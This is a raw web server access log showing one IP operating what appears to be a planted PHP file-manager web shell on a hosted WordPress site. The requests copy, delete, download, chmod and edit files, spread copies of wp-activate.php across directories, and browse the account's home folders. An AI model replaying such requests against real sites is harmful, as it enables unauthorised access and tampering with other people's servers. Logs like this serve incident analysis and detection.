45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample%2Fadmin.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample%2Fadmin.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?del=profile.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13274 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample%2Flicense.txt&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample%2Flicense.txt&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample&settings=1 HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /bft.com.tw/sync-sample/admin.php HTTP/1.1" 200 991 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:50 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample&view=license.txt HTTP/1.1" 200 11910 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?dl=admin.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13092 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample%2Fprofile.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample%2Fprofile.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13092 "https://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample&view=index.php HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample&view=profile.php HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /bft.com.tw/sync-sample/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?dl=profile.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13082 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /bft.com.tw/sync-sample/index.php HTTP/1.1" 200 6284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample&upload= HTTP/1.1" 200 12175 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample%2Findex.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample%2Findex.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?del=license.txt&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13092 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?dl=license.txt&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13091 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /bft.com.tw/sync-sample HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/sync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?chmod=license.txt&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /bft.com.tw/sync-sample/ HTTP/1.1" 200 6273 "https://163.245.207.76:443/bft.com.tw/sync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /bft.com.tw/sync-sample/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:51 -0400] "GET /thoms.php?chmod=profile.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/wp-load.php?step=0 HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?chmod=admin.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/xmlrpc.php?step=0 HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13411 "http://163.245.207.76:443/thoms.php?del=index.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13403 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13411 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/.tmb/?ND= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/.tmb/?MA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/.tmb/?SA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 28483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 6594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 18821 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 12851 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&location=%2Fhome%2F HTTP/1.1" 200 5816 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=bft.com.tw HTTP/1.1" 200 16431 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 6452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&option=folder HTTP/1.1" 200 6466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&option=file HTTP/1.1" 200 6432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&location=%2F HTTP/1.1" 200 7827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 6440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8752 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 6401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8733 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /bft.com.tw/sync-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fsync-sample%2F HTTP/1.1" 200 6532 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:52 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19146 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18695 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19177 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /bft.com.tw/wp-admin/install.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18787 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /bft.com.tw/wp-login.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12002 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /bft.com.tw/wp-admin/upgrade.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /bft.com.tw/wp-admin/update-core.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /bft.com.tw/wp-admin/import.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
